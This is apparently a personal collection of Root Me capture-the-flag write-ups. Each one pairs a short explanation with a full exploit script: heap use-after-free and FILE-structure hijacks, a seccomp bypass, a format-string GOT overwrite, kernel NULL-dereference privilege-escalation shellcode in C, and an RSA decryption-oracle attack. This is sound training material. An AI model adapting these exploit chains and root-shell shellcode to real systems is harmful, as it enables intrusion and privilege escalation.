Some records of the challenges I have completed on Root Me.

App - System

ELF x64 - Advanced Heap Exploitation - Heap Leakless & Fortified (135 pts)

Exploit the UAF vulnerability to create a fake unsortedbin chunk by modify the size of a chunk. Using the residual data of the unsortedbin chunk to collide the address of _IO_2_1_stdout_ . Modify the last bit of _IO_write_base to \x08 so that we can leak the libc address. Hijack the _IO_write_base to environ then we can leak the stack address.

Now we can exploit the UAF vulnerability to control the program’s execution flow by hijacking the return address on the stack. However, the .passwd is a directory and the filename of flag is unknown. Therefore, we must first leak the name of files which in .passwd directory. getdents64 syscall is used to read file names from a directory, the usage of it can be referred to here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
libc = ELF('/challenge/app-systeme/ch88/lib/libc.so.6')

rc = lambda n : io.recv(n)
ru = lambda x : io.recvuntil(x, drop = True)
sd = lambda x : io.send(x)
sa = lambda a, b : io.sendafter(a, b)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
uu64 = lambda x : u64(x.ljust(8, b'\x00'))
libc_os = lambda x : libc_base + x
libc_sym = lambda x : libc_os(libc.sym[x])

def menu(choice):
sla('Choice?', str(choice))

def add(idx, size, content = 'a'):
menu(1)
sla('Index:', str(idx))
sla('Bloc Size:', str(size))
sa('Data:', content)

def delete(idx):
menu(2)
sla('Index:', str(idx))

def edit(idx, content):
menu(3)
sla('Index:', str(idx))
sa('Data:', content)

while True:
io = process('/challenge/app-systeme/ch88/ch88')
add(0, 0x78)
add(1, 0x78)
delete(1)
delete(0)
edit(0, '\x90')
add(0, 0x68)
add(1, 0x68)
delete(1)
add(1, 0x78)
add(1, 0x78)
add(1, 0x78)
add(1, 0x78)
add(1, 0x78)
add(1, 0x78)
add(1, 0x78)
add(1, 0x78)
add(1, 0x78)
delete(1)
add(1, 0x58, flat({0x38: 0x21}))
add(1, 0x68)
delete(1)
delete(0)
edit(0, '\x90')
add(0, 0x68, flat({0x18: 0x71}))
add(1, 0x68)
delete(0)
delete(1)
edit(0, flat({0x18: 0x481}))
delete(1)
edit(1, '\x60\x87')
add(1, 0x68)
pld = flat([
0xfbad1800,
0,
0,
0,
'\x08'
])
try:
add(1, 0x68, pld)
ru('\n')
leak = uu64(rc(8))
assert hex(leak).startswith('0x7f')
break
except:
io.close()

libc_base = leak - (0x7fb7dd6ea570 - 0x7fb7dd503000)
read_addr = libc_sym('read')
write_addr = libc_sym('write')
open_addr = libc_sym('open')
mprotect_addr = libc_sym('mprotect')
environ = libc_sym('environ')
pop_rdi = libc_os(0x0000000000026542)
pop_rsi = libc_os(0x0000000000026f9e)
pop_rdx = libc_os(0x000000000012bda6)
pld = flat([
0xfbad1800,
0,
0,
0,
environ,
environ+8,
environ+8
])
edit(1, pld)
leak = uu64(rc(8))
ret_addr = leak - 0x150
add(0, 0x78)
delete(0)
edit(0, flat(ret_addr))
add(0, 0x78)
pld = flat([
pop_rdi,
ret_addr & ~0xfff,
pop_rsi,
0x1000,
pop_rdx,
7,
mprotect_addr,
pop_rdi,
0,
pop_rsi,
ret_addr + 0x80,
pop_rdx,
0x500,
read_addr,
ret_addr + 0x80
])
add(0, 0x78, pld)
code = '''
mov rax, 0x101
mov rdi, -0x64
mov rbx, {}
push rbx
mov rsi, rsp
mov rdx, 0
syscall
mov rax, 0x4e
mov rdi, 3
mov rsi, {}
mov rdx, 0x100
syscall
mov rax, 0x101
mov rdi, -0x64
mov rsi, {}
mov rbx, {}
mov [rsi], rbx
mov rdx, 0
syscall
mov rax, 0
mov rdi, 4
mov rdx, 0x100
syscall
mov rdx, rax
mov rax, 1
mov rdi, 1
syscall
'''.format(u64('.passwd\00'), ret_addr+0x300, ret_addr+0x342-len('.passwd/'), u64('.passwd/'))
code = asm(code)
sd(code)
ia()

ELF x64 - Buggy VM (70 pts)

The operations related to registers can cause out-of-bounds read and write. Exploit this vulnerability to leak the libc address and hijack the return address of main function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/env python
from pwn import *

io = process('/challenge/app-systeme/ch78/ch78')
context.bits = 64
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

rc = lambda n : io.recv(n)
ru = lambda x : io.recvuntil(x, drop = True)
sl = lambda x : io.sendline(x)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
libc_os = lambda x : libc_base + x

def write(r, offset):
op = 0xe << 4
op += 3 << 2
op += r
res = p8(op)
res += p8(offset >> 8)
res += p8(offset & 0xff)
return res

def read(r, offset):
op = 0xe << 4
op += 2 << 2
op += r
res = p8(op)
res += p8(offset >> 8)
res += p8(offset & 0xff)
return res

def write_reg(mod, r, n):
op = 2 << 4
op += r << 2
op += mod
res = p8(op)
res += p8(n >> 8)
res += p8(n & 0xff)
return res

def put_reg(mod, r, n):
op = 3 << 4
op += mod << 2
op += r
res = p8(op)
res += p8(n >> 8)
res += p8(n & 0xff)
return res

code_file = '/tmp/code'
code = write_reg(1, 2, 0x3a0)
for i in range(8):
code += write_reg(2, 3, 0xff60+i)
code += put_reg(1, 3, 0x3b0+i)
code += write(2, 0x3b0)
code += write(2, 0x3a0)
code += read(2, 0x400)
for i in range(0x90):
code += write_reg(1, 3, 0x400+i)
code += put_reg(2, 3, 0xff60+i)
code = code.ljust(0x3a0, '\x00') + p8(0xb8) + '\x0a'
with open(code_file, 'w') as f:
f.write(code)
sla('Enter bytecode filename (max size 64KB): ', code_file)
ru('\n')
libc_base = u64(rc(8)) - (0x7fbb0c439c87 - 0x7fbb0c418000)
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
open_addr = libc_base + libc.sym['open']
fh_addr = libc_base + libc.sym['__free_hook']
pop_rdi = libc_os(0x000000000002164f)
pop_rdx = libc_os(0x0000000000001b96)
pop_rsi = libc_os(0x0000000000023a6a)
pop2 = libc_os(0x000000000002164d)
ret = libc_os(0x00000000000008aa)
mov_rdi_rsp_call_rdx = libc_os(0x000000000015c2fe)
pld = flat([
pop_rdx,
pop2,
mov_rdi_rsp_call_rdx,
'.passwd\x00',
pop_rsi,
0,
open_addr,
pop_rdi,
3,
pop_rsi,
fh_addr,
pop_rdx,
0x50,
read_addr,
pop_rdi,
1,
write_addr
])
sl(flat(pld))
ia()

ELF x64 - Seccomp Whitelist (120 pts)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/usr/bin/python3
from pwn import *

context.arch = 'amd64'
context.bits = '64'

rc = lambda n : io.recv(n)
ru = lambda x : io.recvuntil(x, drop = True)
sl = lambda x : io.sendline(x)
sa = lambda a, b : io.sendafter(a, b)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
uu64 = lambda x : u64(x.ljust(8, b'\x00'))
pie_os = lambda x : pie_base + x

io = process('/challenge/app-systeme/ch57/ch57')
sla('flag (attempt 1/3): ', '')
pld = flat({
0x8c: 0xa1,
0x98: 0,
}, filler = '\x00')
sla('flag (attempt 1/3): ', pld)
pld = flat({
0x8c: 0xa0,
0x98: 0xfffffffffffffffa,
0xa0: 'a'
}, filler = '\x00')
sa('flag (attempt 1/3): ', pld)
pld = flat({
0x8c: p32(0x010101a0),
0x98: 0xfffffffffffffffa,
})
sa('/3): ', pld)
ru('nope.\n')
rc(0xa0)
pie_base = uu64(rc(6)) - (0x55f399c00961 - 0x55f399c00000)
syscall = pie_os(0x0000000000000a0d)
bss_start = pie_os(0x0000000000201000)
sigrt = pie_os(0x0000000000000A5E)

sf = SigreturnFrame()
sf.rax = 0
sf.rdi = 0
sf.rsi = bss_start + 0x500
sf.rdx = 0x200
sf.rip = syscall
sf.rsp = bss_start + 0x500
rop_chain = flat([
sigrt,
sf
])
pld = flat({
0x98: 4,
0xa8: rop_chain
}, filler = '\x00')
sla('/3): ', pld)

sc = '''
mov rax, 9
mov rdi, 0x233000
mov rsi, 0x1000
mov rdx, 7
mov r10, 34
mov r8, 0
mov r9, 0
syscall
mov rax, 0
mov rdi, 0
mov rsi, 0x233000
mov rdx, 0x200
syscall
mov rsp, 0x233100
movq rdx, 0x233000
jmpq rdx
'''
sc = asm(sc)
pld = flat([
bss_start + 0x508,
sc
])
sl(pld)
sc = '''
mov eax, 5
mov ebx, 0x233120
xor ecx, ecx
int 0x80
mov eax, 3
mov ebx, 3
mov ecx, 0x233000
mov edx, 0x50
int 0x80
mov eax, 4
mov ebx, 1
int 0x80
'''
sc = asm(sc)
pld = flat({
0: asm('retfq'),
0x50: sc,
0x100: 0x233050,
0x108: 0x23,
0x120: '/challenge/app-systeme/ch57/.passwd\x00',
}, filler = '\x00')
sl(pld)
ia()

ELF x64 - FILE structure hijacking (110 pts)

The function prompt_index lacks checking for negative numbers. Therefore, we can use negative numbers to bypass the index check which can lead to potential cross-border reading and writing. Note that the stdout pointer is positioned below the pages array, so we can use this vulnerability to hijack the pointer and control the program’s execution flow.

To leak the libc address, we can fill up the tcachebins, then the next chunk will be freed into the unsortedbin and we leak the libc address through it.

PS: When I hijacked the execution flow to system('/bin/sh') and tried to cat the .passwd ,I failed. I found that even if the program is executed under the permission of the user app-systeme-ch87-cracked, the shell is still launched as user app-systeme-ch87 (I have no idea about it). Finally I built an ORW ropchain and successfully printed the content of .passwd :)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python3
from pwn import *

context.bits = 64
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io = process('/challenge/app-systeme/ch87/ch87')

ru = lambda x : io.recvuntil(x, drop = True)
sa = lambda a, b : io.sendafter(a, b)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
uu64 = lambda x : u64(x.ljust(8, b'\x00'))
libc_os = lambda x : libc_base + x
heap_os = lambda x : heap_base + x

def menu(choice):
sla('>> ', str(choice))

def add(idx, content):
menu(1)
sla('Page index: ', str(idx))
sa('Page content: ', content)

def delete(idx):
menu(3)
sla('Page index: ', str(idx))

def show(idx):
menu(2)
sla('Page index: ', str(idx))

for i in range(11):
add(i, 'a')
for i in range(9):
delete(i)
for i in range(8):
add(i, 'a')
show(7)
ru('Page content: ')
libc_base = uu64(ru('\n')) - (0x7f09ae65ae61 - 0x7f09ae26f000)
show(0)
ru('Page content: ')
heap_base = uu64(ru('\n')) - (0x55fb7442d761 - 0x55fb7442c000)
victim = heap_os(0x563b99064af0 - 0x563b99063000)
vt = libc_os(0x7fa4a1435d60 - 0x7fa4a104e000)
gadget = libc_os(0x7f8f72375066 - 0x7f8f7221a000)
leave = libc_os(0x00000000000547e3)
pop_rbp = libc_os(0x0000000000042855)
delete(0)
pop_rdi = libc_os(0x0000000000022394)
passwd_addr = heap_os(0x562736a179c0 - 0x562736a16000)
read_addr = libc_os(libc.sym['read'])
write_addr = libc_os(libc.sym['write'])
open_addr = libc_os(libc.sym['open'])
pop_rsi1 = libc_os(0x000000000007dcde)
pop_rdx9 = libc_os(0x000000000004ee21)
rop_chain = flat([
0,
pop_rdi,
passwd_addr,
0,
pop_rsi1,
0,
0,
open_addr,
pop_rdi,
3,
0,
pop_rsi1,
heap_base,
0,
pop_rdx9,
0x30,
0, 0, 0, 0, 0, 0, 0, 0, 0,
read_addr,
pop_rdi,
1,
0,
write_addr,
'.passwd\x00'
])
add(0, rop_chain)
pld = flat({
8: pop_rbp,
0x10: 0xdeadbeef,
0x18: victim,
0x20: heap_os(0x555ebcd198d0 - 0x555ebcd18000),
0x28: leave,
0x48: victim,
0x58: gadget,
0x88: libc_os(0x7f1ce425b8c0 - 0x7f1ce3e6e000),
0xa0: victim - (0x130 - 0xe0),
0xd8: vt - 0x20,
0xe0: victim-0x10,
}, filler = '\x00')
add((0x0000000000202020 - 0x0000000000202040) / 8, pld)
ia()

ELF x64 - File Structure Hacking (65 pts)

Here’s my solve script. I’ll post a detailed writeup later (I haven’t finished my school homework yet ^^

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
from pwn import *

context.bits = 64
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

io = process('/challenge/app-systeme/ch84/ch84')
io.sendlineafter('Do we start ? (y/n)\n', 'y')
io.sendlineafter('2. exit\n', '0')
io.recvuntil('Ok...you want a leak...??\n')
libc_base = int(io.recvuntil('-', drop = True), 16) - 0x3eb000
sys_addr = libc_base + libc.sym['system']
victim = libc_base + 0x3eba41
io.sendlineafter('2. exit\n', '1')
io.sendlineafter('address:\n', str(victim))
io.sendlineafter('value:\n', str(0xff))
io.sendlineafter('2. exit\n', '1' + 'a' * 0x100f + flat('/bin/sh\x00', sys_addr))
io.interactive()

LinKern x64 - Race condition (95 pts)

Initially, I was misled by the name of this challenge and attempted to find the exploit points for a race condition. However, after analyzing for some time, I couldn’t find out where can trigger a vulnerability of race condition. The following source code snippet is what I consider a suspicious exploitable point. When multiple threads simultaneously enter the else branch while tostring->pointer < tostring->pointer_max , this may result in a kernel heap overflow vulnerability in the tostring_stack member variable. However, I feel that the likelihood of successfully triggering a race condition exploit in this circumstance is very low (even close to impossible) , so I soon gave up XD

1
2
3
4
if (tostring->pointer >= tostring->pointer_max)
printk(KERN_INFO "Tostring: full stack\n");
else
tostring->tostring_stack[(tostring->pointer)++] = *((long long int *)(bufk + i));

Review the challenge description again, I found that the mmap_min_addr protection is disabled. In the Debian Wiki, it is explained as follows:

mmap_min_addr is a kernel tunable that specifies the minimum virtual address that a process is allowed to mmap. Allowing processes to map low values increases the security implications of a class of defects known as “kernel NULL pointer dereference” defects. If a malicious local user finds a way to trigger one of these NULL pointer defects, they can exploit it to cause system hangs, crashes, or otherwise make parts of the system unusable. If this user is also able to map low portions of virtual memory, they can often further exploit this issue to gain increased privileges.

This means that without this protection, we are able to use the mmap function to map addresses starting from 0.

In the tostring_read function of the module, the variable tostring->tostring_read is called as a function pointer. Therefore, if we can control this pointer, we can achieve arbitrary address execution. Note that the tostring->tostring_read will be set to NULL in the tostring_close function. Then we can trigger evil code execution by putting shellcode into the 0 address and calling the tostring_read function. (Both SMEP and SMAP are disabled, so it’s valid for us to execute the user code in kernel mode)

Now the steps to exploit the vulnerability appear to be clear. Firstly, map the 0 address and put the privilege escalation shellcode on it. Next, open the /dev/tostring device twice then close the first one. Finally, use the read function on the second device. It will call the tostring->tostring_read which has been set to NULL and execute the evil shellcode to obtain root privileges.

Python script used to generate shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
from pwn import*
import sys
context.arch = 'amd64'
code = '''
mov rdi, 0
mov rdx, 0xffffffff8107af00
call rdx
mov rdi, rax
mov rdx, 0xffffffff8107ab70
call rdx
ret
'''
code = asm(code)
sys.stdout.write('"')
for x in code:
sys.stdout.write('\\x' + hex(ord(x))[2:])
sys.stdout.write('"')
# "\x48\xc7\xc7\x0\x0\x0\x0\x48\xc7\xc2\x0\xaf\x7\x81\xff\xd2\x48\x89\xc7\x48\xc7\xc2\x70\xab\x7\x81\xff\xd2\xc3"

Full exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <linux/userfaultfd.h>
#include "kernelpwn.h"

int fd1, fd2;
char code[] = "\x48\xc7\xc7\x0\x0\x0\x0\x48\xc7\xc2\x0\xaf\x7\x81\xff\xd2\x48\x89\xc7\x48\xc7\xc2\x70\xab\x7\x81\xff\xd2\xc3";

int main() {
char* victim;
if (victim = mmap(0, 0x1000, 7, 50, -1, 0)) err_exit("mmap failed");
if (memcpy(0, code, sizeof(code)) == -1) err_exit("memcpy failed");
log_msg("open device1");
fd1 = open_chk("/dev/tostring", 2);
log_msg("open device2");
fd2 = open_chk("/dev/tostring", 2);
log_msg("close device1");
close(fd1);
read(fd2, code, 1);
if (!getuid()) {
log_suc("spawn root shell...");
system("/bin/sh");
}
}

ELF x86 - Hardened binary 6 (115 pts)

Format string bug. Hijack the got of strncmp to execute system('/bin/sh')

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python2
from pwn import *

io = remote('challenge03.root-me.org', 56526)
context.bits = 32
libc = ELF('libc-2.27.so')

ru = lambda x : io.recvuntil(x, drop = True)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()

sla('To start a new game, please type your name:\n', 'a')
ru('Starting a new game...\n')
sla('\n\t>', 'gangster'.ljust(0x30, 'a'))
pld = flat([
'a' * 0xf,
'%276$p'
])
sla('http://www.roi-heenok.com/html/images/gifs/watermark/watermark_090222105335455462.gif\n', pld)
ru('Error !\n')
libc_base = int(ru('\n'), 16) - libc.sym['_IO_2_1_stdout_']
sys_addr = libc_base + libc.sym['system']
sla('\n\t>', 'gangster'.ljust(0x30, 'a'))
pld = flat([
'a' * 0xf,
'%', str(int(hex(sys_addr)[-2:], 16)), 'c',
'%331$hhnaaa',
0x08049D8C,
'%', str(int(hex(sys_addr)[-6:-2], 16) - int(hex(sys_addr)[-2:], 16) - 4 - 3), 'c',
'%336$hnaa',
0x08049D8D,
])
sla('http://www.roi-heenok.com/html/images/gifs/watermark/watermark_090222105335455462.gif\n', pld)
sla('\n\t>', '/bin/sh\x00')
ia()

Cryptanalysis

RSA - Decipher Oracle (25 pts)

Known n, e, c. Let x=ce+1 mod n. Send x to the server and get the plaintext z.

From the RSA algorithm, we can imply:

  1. z = (ce+1 mod n)d mod n
  2. z = (ce+1)d mod n
  3. z = (ced*cd) mod n
  4. z = (c*cd) mod n

The target plaintext is m = cd mod n. Therefore, we firstly calculate the modular inverse of c and multiply both sides of the equation by it. Than the equation becomes z*c_inv = (c*c_inv*cd) mod n, that is, z*c_inv = cd mod n = m. Covert the plaintext m to string and we will get the flag of this challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Util.number import long_to_bytes
from pwn import remote
r = remote('challenge01.root-me.org', 51031)
n = 456378902858290907415273676326459758501863587455889046415299414290812776158851091008643992243505529957417209835882169153356466939122622249355759661863573516345589069208441886191855002128064647429111920432377907516007825359999
e = 65537
c = 41662410494900335978865720133929900027297481493143223026704112339997247425350599249812554512606167456298217619549359408254657263874918458518753744624966096201608819511858664268685529336163181156329400702800322067190861310616

x = c**(e+1) % n
r.sendlineafter('What\'s the ciphertext you want me to decrypt?', str(x))
r.recvuntil('The corresponding plaintext is: ')
z = int(r.recvuntil('\n'))
c_inv = pow(c, -1, n)
m = long_to_bytes(c_inv*z%n)
print(m)